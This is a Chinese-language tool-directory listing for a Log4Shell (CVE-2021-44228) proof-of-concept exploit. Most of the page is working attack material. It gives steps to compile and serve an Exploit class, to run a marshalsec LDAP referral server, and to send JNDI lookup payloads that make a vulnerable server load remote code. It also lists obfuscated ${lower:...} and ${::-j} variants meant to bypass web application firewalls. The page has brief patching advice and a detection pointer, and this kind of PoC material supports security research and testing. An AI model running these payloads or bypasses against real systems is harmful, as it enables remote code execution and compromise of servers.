Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228-Apache-Log4j-Rce — 针对CVE-2021-44228(Log4Shell)的概念验证漏洞利用,包含JNDI注入载荷、WAF绕过技术以及Burp Suite的被动扫描集成。 | Kitploit
工具/GitHubGitHub/kannthu/cve-2021-44228-apache-log4j-rce
漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过渗透测试Payload 开发
GitHubkannthu/cve-2021-44228-apache-log4j-rce

CVE-2021-44228-Apache-Log4j-Rce

针对CVE-2021-44228(Log4Shell)的概念验证漏洞利用,包含JNDI注入载荷、WAF绕过技术以及Burp Suite的被动扫描集成。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
374年前尚未审核
分享

CVE-2021-44228(Apache Log4j 远程代码执行)

所有 log4j-core 版本 >=2.0-beta9 且 <=2.14.1

1.x 版本存在其他漏洞,我们建议您更新到最新版本。

与 Log4Shell (CVE-2021-44228) 相关的安全公告/通报

用法:

root@kitploit:~
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 
# For Python2
python -m SimpleHTTPServer 8888 
# For Python3
python3 -m http.server 8888
root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

最后运行该项目,你会看到你的本地计算器被弹出。

提示:

不要依赖当前的 Java 版本来拯救你。更新 Log4(或移除 JNDI 查找)。禁用扩展(这无论如何看起来都是个糟糕的主意)。

绕过 rc1

例如:

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/ badClassName}

绕过 WAF

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

不要信任 Web 应用防火墙。

漏洞详情

Lookups 提供了一种在任意位置向 Log4j 配置添加值的方式。

Lookups

最终导致泄漏的方法

root@kitploit:~
LogManager.getLogger().error()
LogManager.getLogger().fatal()

简单检测方法

如果你想进行黑盒测试,我建议你进行被动扫描。

BurpLog4jScan

玩得开心!!! BurpLog4jScan.png

随时间变化的 Star 数

Stargazers over time

下载工具